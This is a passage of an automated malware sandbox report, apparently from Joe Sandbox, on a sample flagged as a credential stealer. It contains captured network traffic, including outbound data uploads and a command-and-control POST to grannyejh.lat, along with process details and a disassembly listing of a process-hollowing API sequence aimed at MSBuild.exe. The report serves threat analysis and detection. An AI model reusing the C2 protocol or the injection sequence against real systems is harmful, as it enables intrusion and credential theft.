b5 0f 45 66 2e 9d c1 65 35 85 a9 b6 c4 0f 76 6b d1 b7 7a a4 0a 7c 5d f9 81 38 aa 8b 67 a6 fc e6 ca 05 6d c5 91 cc 63 26 d9 e9 bb ed ff 70 cd Data Ascii: b7,cvgE<"~v&Mm6?dd&2#&6*}5l9ly0=hv+v\|I6tzZzKe2WT Y/dDBw7yeLvk_`l3{ =&h?b(5oC-WNl[HNp4mEf.e5vkz\|]8gmc&p
2024-12-18 20:23:10 UTC	15331	OUT	Data Raw: a1 fa 7a ab dc 90 58 08 89 49 de 30 48 04 09 c2 4e a5 9b 0c c4 f0 14 51 1c 06 28 04 a2 9e 91 aa b7 2a 0a 06 a5 7f bd c4 cb 20 eb a5 b9 ec 35 6a d9 50 6b 9f ec 41 5f 63 1e 48 31 b9 56 18 6b dd d0 98 5b 82 1c d2 f1 62 5e 7d a6 6c ed 82 bd c1 b5 ae 5f 1c 0d 2f 10 7a bd fd fd 71 d2 65 6f e6 14 3f c9 a8 36 40 5c fc a2 4d fa 93 70 fc 2e 91 95 f9 be 8b db 43 9b f3 e3 4c fe 8d 24 0d 9d 69 a9 ef 0a d6 e3 e4 69 20 29 0e 30 35 66 59 64 f5 e7 b4 99 5f 7a 68 b5 01 2a 39 c9 9b 23 f6 05 56 dd d1 34 82 39 7a 8d e3 7b 00 69 2d 07 17 dc 23 eb 6d aa d8 16 ed 54 12 27 74 cf 22 9e 2a 0c 28 c4 4d a0 f8 27 7b 7a fb 5a 59 df cd d5 81 42 07 c4 c3 8b fd 44 1d 86 d2 8f 86 86 6d cc 46 c4 02 70 d3 f6 5c ee 9d bc d7 dd 21 c6 24 a2 18 c4 28 75 a3 aa 2d 10 e6 9e 0b 19 e0 03 fb db 72 ef Data Ascii: zXI0HNQ(* 5jPkA_cH1Vk[b^}l_/zqeo?6@\Mp.CL$ii )05fYd_zh9#V49z{i-#mT't"(M'{zZYBDmFp\!$(u-r
2024-12-18 20:23:10 UTC	15331	OUT	Data Raw: eb 51 b0 91 c3 38 6e d8 9d f6 cd 3f 3b 6c d2 93 f1 8f 04 62 f5 4c 27 37 1e 29 a6 e3 54 69 d7 b7 cd dd 63 ac 67 c8 e0 dd 02 4b e8 46 c7 07 fa 69 6b 93 cf 81 13 fa a1 03 37 9c 9b 11 ba 83 a1 0d fc 06 d7 28 db a3 6e 1f dc 3d f5 5d 52 cd 05 29 82 17 11 dc b7 54 b8 93 d0 bd 5d f6 1a f2 41 98 9a 16 b2 e5 68 e8 27 ab f4 48 5f 04 51 0f d3 85 c8 89 50 d0 33 b3 e6 33 c6 af a1 c7 94 56 9d 97 24 26 83 8d 18 e3 ca a6 8b 9e a7 06 22 cb 80 62 39 12 b6 59 5b fd 0d 4d 5d 6f 7d 0a f0 c2 64 03 9b 38 6a 7d de 05 30 d6 71 12 99 5f 02 02 30 69 c0 10 18 21 8c 7d d7 84 05 3f a8 87 13 ac 2d 48 d8 69 f7 bd d8 14 58 1c ac db ce 7e 55 36 5d 4a 2c 84 0e ed 8f f1 66 1d cd 79 f1 54 c3 a1 87 df be 75 38 9b 11 ef 75 d9 b0 79 10 ef 0b dd 62 2b 8c b2 bb d2 3c 47 59 5f 46 96 de ba 09 8d b6 Data Ascii: Q8n?;lbL'7)TicgKFik7(n=]R)T]Ah'H_QP33V$&"b9Y[M]o}d8j}0q_0i!}?-HiX~U6]J,fyTu8uyb+<GY_F
2024-12-18 20:23:10 UTC	15331	OUT	Data Raw: 9f 96 6c 88 e0 45 5d 92 ae 14 79 b1 bc b8 9a 37 2a 2d de 37 d4 14 ae 0b 59 d4 8e f2 a6 54 ec dd 76 1d 36 39 88 41 f2 bf b3 48 10 34 69 12 3c eb ea aa f4 65 45 ae 0c 03 89 40 60 fc e0 d9 d1 74 93 a3 47 1f 04 59 cc ed fd 7e 2b f7 b0 ef de c1 89 aa 71 fa 5c 50 ee 36 93 f5 59 2c b9 f5 59 48 fb 05 d7 4b f7 ca 6d 5c d2 1f 44 28 fa 6c bb 58 6a 3e aa 60 41 6a f5 c8 b2 24 01 a2 1e 07 8b e7 e5 31 24 19 f8 1f 71 96 77 e4 41 2c eb 96 b2 0e 34 d6 bf 8c 53 8f 6c 26 99 3c a6 73 6a cb 49 e6 55 42 27 43 a3 85 09 bf ae 33 c2 97 3e 29 54 f5 14 58 dd 1d 90 9f c4 cf 78 c5 05 f8 62 0e f2 6e ce 7d 66 04 4f ec cd 66 cd 36 8c a9 13 5e d4 df d7 b5 49 18 2d ce 0a b3 24 d1 0c 52 66 5d 46 b1 bf ce 8d b9 ac 3e eb 82 c5 b1 dd 51 05 c1 85 a9 90 51 9d 9f f0 8f 9d 59 19 8b f1 05 97 72 1b Data Ascii: lE]y7*-7YTv69AH4i<eE@`tGY~+q\P6Y,YHKm\D(lXj>`Aj$1$qwA,4Sl&<sjIUB'C3>)TXxbn}fOf6^I-$Rf]F>QQYr
2024-12-18 20:23:10 UTC	15331	OUT	Data Raw: 8d d4 04 a2 06 a1 cd 1b 98 92 2a cb a3 7c e0 d0 d2 31 49 06 9e 0d d3 92 f3 2c ee 09 cf 23 53 91 2d 6a 39 b5 4a 44 a5 ac 74 c1 b1 97 c6 ab b6 c4 1c 8a 03 a4 dc ef 18 17 17 6e 96 cd b6 1f 51 a0 09 72 65 c4 4e 3f cc 64 8a d5 f5 27 23 19 6a 22 88 15 41 40 d5 52 91 b5 07 f3 b6 37 61 2f 49 b0 b2 5e a1 4a 30 10 9f cf 47 c1 00 0e 89 59 36 da 1f f0 9a b9 fb 07 6b 14 89 a9 2e 34 a0 5e 2d 1c 95 50 8f 8a 82 c3 39 42 a2 68 9c 61 88 ff d0 0b 26 63 fd 13 f2 92 c5 ad 1a c6 c6 04 ae e9 b6 55 8b 6a 58 d5 c6 e2 27 ed fb b4 97 b3 fd a7 73 af cf 5f 69 42 32 de 9a fe 77 91 91 ef 5b 97 ec 81 80 91 49 e6 f1 e1 63 15 ef 81 0f 2a a5 88 7b 7b 14 20 36 8f 49 81 d0 55 6f 86 fb b4 73 47 60 da 5d b2 d0 5a e0 5b 1c b8 59 46 df 2b c4 67 eb ef b4 52 62 54 e4 34 76 fb 4a 30 db 5f 53 b8 e7 Data Ascii: \|1I,#S-j9JDtnQreN?d'#j"A@R7a/I^J0GY6k.4^-P9Bha&cUjX's_iB2w[Ic{{ 6IUosG`]Z[YF+gRbT4vJ0_S
2024-12-18 20:23:10 UTC	15331	OUT	Data Raw: c6 d0 4a eb 5d 49 41 12 3f c2 1b 3a f3 b4 16 88 7c b6 6b 2a 24 54 6c 52 c7 44 df b1 b0 64 4a 47 23 09 63 ed 97 52 2c 6a 24 6a 5e 05 24 5d 21 c5 84 19 62 35 db 4a c8 b3 c3 8b fc 0f fb 67 83 b2 af bf ad da 07 f2 ab c0 45 eb 87 13 1b f2 a1 f9 21 da e5 3f 1c b9 7d 09 dc 7f bf 5e 59 4e 3d d1 3b be d3 3e da 6b 62 fe 6b 4d a8 80 8e 68 f9 85 2c 0d b7 df ca ff ca fd ca 0f f8 56 79 1a 84 2b ad de 5f 79 34 e7 d9 df 7a 65 33 42 f9 da 0b b7 86 d2 05 81 8e 7d 57 a0 7a dd d8 f0 01 f3 61 cf 91 57 13 11 b9 78 4a e0 8d cc 61 46 d4 d3 27 ed 7a ed 84 fd ab eb 42 00 eb 66 50 d9 a7 2d 62 b6 d5 75 40 7b 39 7b df b9 1e 98 b1 cc 39 7e 42 66 5c c5 51 4d 64 eb be 69 6d cd 3b 95 c1 fd 2e 9c e3 ba c0 e9 31 e7 b4 83 07 34 58 82 80 2b e8 f0 fa 1d eb 30 af d7 4c 57 e9 73 1d 53 4f 6b 54 Data Ascii: J]IA?:\|k*$TlRDdJG#cR,j$j^$]!b5JgE!?}^YN=;>kbkMh,Vy+_y4ze3B}WzaWxJaF'zBfP-bu@{9{9~Bf\QMdim;.14X+0LWsSOkT
2024-12-18 20:23:10 UTC	15331	OUT	Data Raw: 1a 73 cf 7e 27 fb 21 31 e4 68 89 55 be b4 80 d3 dd 86 f5 e6 2e dd 8d 43 c7 c0 61 77 b8 3f a0 9c 63 2c 3e 50 44 82 e7 42 fc e9 0b 57 ff f8 ce fe a5 5a 16 38 07 2d 14 fe db 21 15 d9 59 42 8e 09 91 42 2d f4 19 b1 1e f6 67 eb 3a 0c 7a 08 83 c9 c3 e6 15 36 06 64 df 9b 99 25 82 01 18 a2 4a 46 09 d8 b2 e0 9c 9d 51 ce c9 dd 92 0c eb 04 48 1d aa eb 60 22 7d e5 78 a6 d3 95 ae 77 1e b6 d8 a3 53 bc 55 94 13 ef ac 74 53 51 37 09 44 32 46 4c 08 28 0f 57 4a 0c 33 26 c5 ef b8 0d e3 00 0e b6 b1 cd ce dc 5d ba f8 83 0a f3 89 8a 1c 7e 37 22 22 3a ac d3 67 0c 7b a6 eb 87 68 f9 da 49 70 e3 57 05 4d 9a f1 e7 3e 03 84 5f bc 4e fc 81 52 f3 d4 6c 92 bd 5a 45 e9 4d 5d c2 58 20 a2 db 30 9f 09 de fb 55 17 fe 4d 48 90 7e 83 74 f0 74 67 73 d9 98 41 57 ba bb a6 a0 2f 3d 53 4b e2 8f 70 Data Ascii: s~'!1hU.Caw?c,>PDBWZ8-!YBB-g:z6d%JFQH`"}xwSUtSQ7D2FL(WJ3&]~7"":g{hIpWM>_NRlZEM]X 0UMH~ttgsAW/=SKp
2024-12-18 20:23:10 UTC	15331	OUT	Data Raw: d4 e8 31 2b cb b6 59 91 ec bf fd 67 d8 71 3b e5 bc 6f fd ba 36 21 3b f0 db 60 6b db a3 34 00 7d cb 53 6b b6 6a 70 a0 78 e1 cf 7c 59 60 9e ef d0 c0 a8 a6 df e8 2d f5 e2 85 d8 90 8e 60 8f a4 ef b7 3a 6b 2c f7 dc a4 76 2d dc f1 9a d7 0a 99 bb c3 29 fe 45 b0 48 97 05 83 63 10 ed 87 c1 40 f7 2f 59 60 58 6e 9d 8c 2e 1e 6d b5 16 d0 03 da 52 56 2a 07 7b d4 b0 05 c2 8a 7f cc 3d 6e 78 52 82 be 2b cc 6f 5b 7f ba a3 be b5 32 4e 72 3f db ed 22 15 79 b1 27 4e 15 68 4b 87 58 73 84 39 11 68 b7 e1 fe df 79 c7 52 48 92 31 29 8c 64 f0 85 c7 26 7e 3f d0 3e 02 3c 47 52 22 1f 71 82 78 3e 44 0a 82 ca 4d 20 28 0b 1f 97 a1 40 1b 9b 94 74 bb 0c 6d 44 8e 2c f3 fc 5e 8f e3 dd 8a 6f 3c db 16 b8 70 aa b5 02 18 02 c6 95 76 85 d2 1a 5e f9 18 1d 32 f6 3e 65 9b 9d 3b e8 75 f3 a5 55 c4 d5 Data Ascii: 1+Ygq;o6!;`k4}Skjpx\|Y`-`:k,v-)EHc@/Y`Xn.mRV*{=nxR+o[2Nr?"y'NhKXs9hyRH1)d&~?><GR"qx>DM (@tmD,^o<pv^2>e;uU
2024-12-18 20:23:18 UTC	1038	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 20:23:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2h9r8jj9gcm8lt5rnn06ctsf2b; expires=Sun, 13-Apr-2025 14:09:52 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CgTq1mhMu2oug35%2FDWxwPloHAqqBj7gvqUPxM%2FNfnDXPCDJoYWnhHbGnpkZ50Y%2BGbZh71hx6RjnUtI0cwAXinbNRHRWGEOXxeWB9Os3PWVMlGAhUkaKSlaow420s3VeZ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f41de869cc441d5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=40755&min_rtt=37089&rtt_var=21241&sent=315&recv=588&lost=0&retrans=0&sent_bytes=2831&recv_bytes=551019&delivery_rate=43962&cwnd=226&unsent_bytes=0&cid=c72a31aeba1698d2&ts=7865&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49836	172.67.179.109	443	4156	C:\Users\user\Desktop\NHEXQatKdE.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 20:23:19 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: grannyejh.lat
2024-12-18 20:23:19 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 79 61 75 36 4e 61 2d 2d 37 39 31 31 37 33 31 39 35 34 26 6a 3d 26 68 77 69 64 3d 37 38 32 33 39 37 41 32 43 44 44 30 33 31 46 31 43 36 38 33 45 41 30 46 34 43 42 30 33 33 33 41 Data Ascii: act=get_message&ver=4.0&lid=yau6Na--7911731954&j=&hwid=782397A2CDD031F1C683EA0F4CB0333A
2024-12-18 20:23:39 UTC	1028	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 20:23:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=molvjquageosdik6eg5a6cmr2l; expires=Sun, 13-Apr-2025 14:10:00 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8EiNRp61PvllnC709n6gLfOxLhaub1XdVC4KJPWtJUmIZ5Vojk8gzwLyjUUk1679YTCM6IYop6nTFnb4P9OdUuSy9eFxXURniNu5M%2BuPeLq4w%2BDeQIJr5obWehdrM0pi"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f41debfaa69de98-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1738&min_rtt=1697&rtt_var=665&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2831&recv_bytes=984&delivery_rate=1720683&cwnd=212&unsent_bytes=0&cid=d2bdd3973afdedd1&ts=19127&x=0"
2024-12-18 20:23:39 UTC	54	IN	Data Raw: 33 30 0d 0a 72 73 4a 44 42 4f 70 74 58 6f 46 47 73 38 2f 45 77 4c 38 68 44 76 4e 4f 5a 6f 50 47 64 63 6a 7a 42 66 49 6a 42 79 58 6d 59 49 2f 31 6e 77 3d 3d 0d 0a Data Ascii: 30rsJDBOptXoFGs8/EwL8hDvNOZoPGdcjzBfIjByXmYI/1nw==
2024-12-18 20:23:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	15:22:18
Start date:	18/12/2024
Path:	C:\Users\user\Desktop\NHEXQatKdE.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\NHEXQatKdE.exe"
Imagebase:	0x6e0000
File size:	723'584 bytes
MD5 hash:	1AF7854A5AD5A97C01E2217CDF0F7656
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	15:22:18
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	15:22:23
Start date:	18/12/2024
Path:	C:\Users\user\Desktop\NHEXQatKdE.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\NHEXQatKdE.exe"
Imagebase:	0x6e0000
File size:	723'584 bytes
MD5 hash:	1AF7854A5AD5A97C01E2217CDF0F7656
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	15:22:23
Start date:	18/12/2024
Path:	C:\Users\user\Desktop\NHEXQatKdE.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\NHEXQatKdE.exe"
Imagebase:	0x6e0000
File size:	723'584 bytes
MD5 hash:	1AF7854A5AD5A97C01E2217CDF0F7656
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000003.2560508442.0000000000F54000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	6.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	7.8%
Total number of Nodes:	1706
Total number of Limit Nodes:	20

Executed Functions

Function 006FC19E Relevance: 44.0, APIs: 11, Strings: 14, Instructions: 295
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,006FC110,006FC100), ref: 006FC334
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 006FC347
Wow64GetThreadContext.KERNEL32(00000094,00000000), ref: 006FC365
ReadProcessMemory.KERNELBASE(0000008C,?,006FC154,00000004,00000000), ref: 006FC389
VirtualAllocEx.KERNELBASE(0000008C,?,?,00003000,00000040), ref: 006FC3B4
TerminateProcess.KERNELBASE(0000008C,00000000), ref: 006FC3D3
WriteProcessMemory.KERNELBASE(0000008C,00000000,?,?,00000000,?), ref: 006FC40C
WriteProcessMemory.KERNELBASE(0000008C,00400000,?,?,00000000,?,00000028), ref: 006FC457
WriteProcessMemory.KERNELBASE(0000008C,?,?,00000004,00000000), ref: 006FC495
Wow64SetThreadContext.KERNEL32(00000094,00D50000), ref: 006FC4D1
ResumeThread.KERNELBASE(00000094), ref: 006FC4E0

Strings

WriteProcessMemory, xrefs: 006FC2AF
Load, xrefs: 006FC1DA
ReadProcessMemory, xrefs: 006FC289
GetP, xrefs: 006FC21E
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, xrefs: 006FC333
SetThreadContext, xrefs: 006FC2C2
ress, xrefs: 006FC226
TerminateProcess, xrefs: 006FC3C3
VirtualAllocEx, xrefs: 006FC29C
ResumeThread, xrefs: 006FC2D8
VirtualAlloc, xrefs: 006FC263
CreateProcessW, xrefs: 006FC250
aryA, xrefs: 006FC1E2
GetThreadContext, xrefs: 006FC276

Memory Dump Source

Source File: 00000000.00000002.2179402359.00000000006FC000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2179281828.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179326552.00000000006E1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179354545.00000000006F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179422481.00000000006FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179448281.00000000006FE000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179468324.00000000006FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179490656.0000000000702000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_NHEXQatKdE.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResumeTerminate
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe$CreateProcessW$GetP$GetThreadContext$Load$ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAlloc$VirtualAllocEx$WriteProcessMemory$aryA$ress
API String ID: 2440066154-3857624555
Opcode ID: 4d4c1a7e65f8d0d38951af6025ef960edc15c7aa7ffa2998c2434409f37e51df
Instruction ID: dceb566da3ee047f716fe3e5a1d84caf9070ee680a991b3c288da0aee5133186
Opcode Fuzzy Hash: 4d4c1a7e65f8d0d38951af6025ef960edc15c7aa7ffa2998c2434409f37e51df
Instruction Fuzzy Hash: 4BB1FA7664064AAFDB60CF68CD80BEA73A5FF88724F158114EA0CAB341D774FA51CB94

Function 006E15C1 Relevance: 7.7, APIs: 5, Instructions: 171
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 006E1622
GetFileSize.KERNEL32(00000000,00000000), ref: 006E1632
ReadFile.KERNELBASE(00000000,00000000,00000000,?,00000000), ref: 006E1658
CloseHandle.KERNELBASE(00000000), ref: 006E1667
CloseHandle.KERNEL32(00000000), ref: 006E17B2

Memory Dump Source

Source File: 00000000.00000002.2179326552.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2179281828.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179354545.00000000006F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179402359.00000000006FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179422481.00000000006FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179448281.00000000006FE000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179468324.00000000006FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179490656.0000000000702000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_NHEXQatKdE.jbxd

Similarity

API ID: File$CloseHandle$CreateReadSize
String ID:
API String ID: 3664964396-0
Opcode ID: c4aad3c57133c5bf9d8f741eb4b7a44032ed786926a6698d65914f15bebaa8cf
Instruction ID: 05deed83852b95202f660d731efbf244c907aba13d306da49df45b20d0322fd7
Opcode Fuzzy Hash: c4aad3c57133c5bf9d8f741eb4b7a44032ed786926a6698d65914f15bebaa8cf
Instruction Fuzzy Hash: 2B51F0B19053849BDB00AF26CC84A2EB7E6FF8A714F144A2DF4899B352E734D984D752

Function 006E123B Relevance: 3.2, APIs: 2, Instructions: 194
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserExceptionDispatcher.NTDLL(00000000,00000000,00000000), ref: 006E13BC
CloseFigure.GDI32(00000000), ref: 006E13C3

Memory Dump Source

Source File: 00000000.00000002.2179326552.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2179281828.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179354545.00000000006F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179402359.00000000006FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179422481.00000000006FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179448281.00000000006FE000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179468324.00000000006FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179490656.0000000000702000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_NHEXQatKdE.jbxd

Similarity

API ID: CloseDispatcherExceptionFigureUser
String ID:
API String ID: 4068610447-0
Opcode ID: f2fa2999b74d1efb437fa984c2849caa5ad94fd6af46863d9b3e24483b5f9362
Instruction ID: 204ffdf0d4caacaeaf0699a9098e4e887fe3a2c83692bf311fac4ceadcaed4f8
Opcode Fuzzy Hash: f2fa2999b74d1efb437fa984c2849caa5ad94fd6af46863d9b3e24483b5f9362
Instruction Fuzzy Hash: B461387160A3848FC718AF3AD8946FFBBD69FD6704F14493CE5DA8B341D63099019792

Function 006E6FE5 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,006E70F4,006E1807,?,00000000,006E1A21,006E1809,?,006E6EA6,00000022,FlsSetValue,006F5878,006F5880,006E1A21), ref: 006E70A6

Strings

api-ms-, xrefs: 006E703C
ext-ms-, xrefs: 006E7050

Memory Dump Source

Source File: 00000000.00000002.2179326552.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2179281828.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179354545.00000000006F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179402359.00000000006FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179422481.00000000006FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179448281.00000000006FE000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179468324.00000000006FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179490656.0000000000702000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_NHEXQatKdE.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 550867dee31a101d307e2d98509f5a01f8bf35ae33a84db586f2addfae1c315b
Instruction ID: 3456370ccfff0ded8c5fdfa410db4592bf0f190ff53eb751d3ec18bf967c42ae
Opcode Fuzzy Hash: 550867dee31a101d307e2d98509f5a01f8bf35ae33a84db586f2addfae1c315b
Instruction Fuzzy Hash: 112127B5A06350ABC7219B66DC80AAA776B9F813A0F250125FD05A73D0D630FD01C6D1

Function 006E5549 Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(006E5456,?,006E560B,00000000,?,?,006E5456,8A2E6549,?,006E5456), ref: 006E555A
TerminateProcess.KERNEL32(00000000,?,006E560B,00000000,?,?,006E5456,8A2E6549,?,006E5456), ref: 006E5561
ExitProcess.KERNEL32 ref: 006E5573

Memory Dump Source

Source File: 00000000.00000002.2179326552.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2179281828.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179354545.00000000006F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179402359.00000000006FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179422481.00000000006FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179448281.00000000006FE000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179468324.00000000006FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179490656.0000000000702000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_NHEXQatKdE.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 55431e57b5bf1a995f2393abbdb42016135f47db61cd8f8db31ec0b8ad9744fc
Instruction ID: 89982ac4700c8dec03962c7f43d625d532dbbe46a3946c7d840e22f2eb8204dc
Opcode Fuzzy Hash: 55431e57b5bf1a995f2393abbdb42016135f47db61cd8f8db31ec0b8ad9744fc
Instruction Fuzzy Hash: 2DD05E71010B84AFCF412FA1EC0D8AC3F27AF40355B048018B91E46031DF319991DA41

Function 006ECB55 Relevance: 3.2, APIs: 2, Instructions: 196
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 006ECEFF: GetConsoleOutputCP.KERNEL32(8A2E6549,00000000,00000000,?), ref: 006ECF62

WriteFile.KERNEL32(?,?,?,?,00000000,?,00000000,?,?,?,?,?,006E3B32,?,006E3D94), ref: 006ECCDA
GetLastError.KERNEL32(?,006E3B32,?,006E3D94,?,006E3D94,?,?,?,?,?,?,?,?,?,?), ref: 006ECCE4

Memory Dump Source

Source File: 00000000.00000002.2179326552.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2179281828.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179354545.00000000006F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179402359.00000000006FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179422481.00000000006FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2179448281.00000000006FE000.00000020.00000001.01000000.00000003.sdmpDownload File
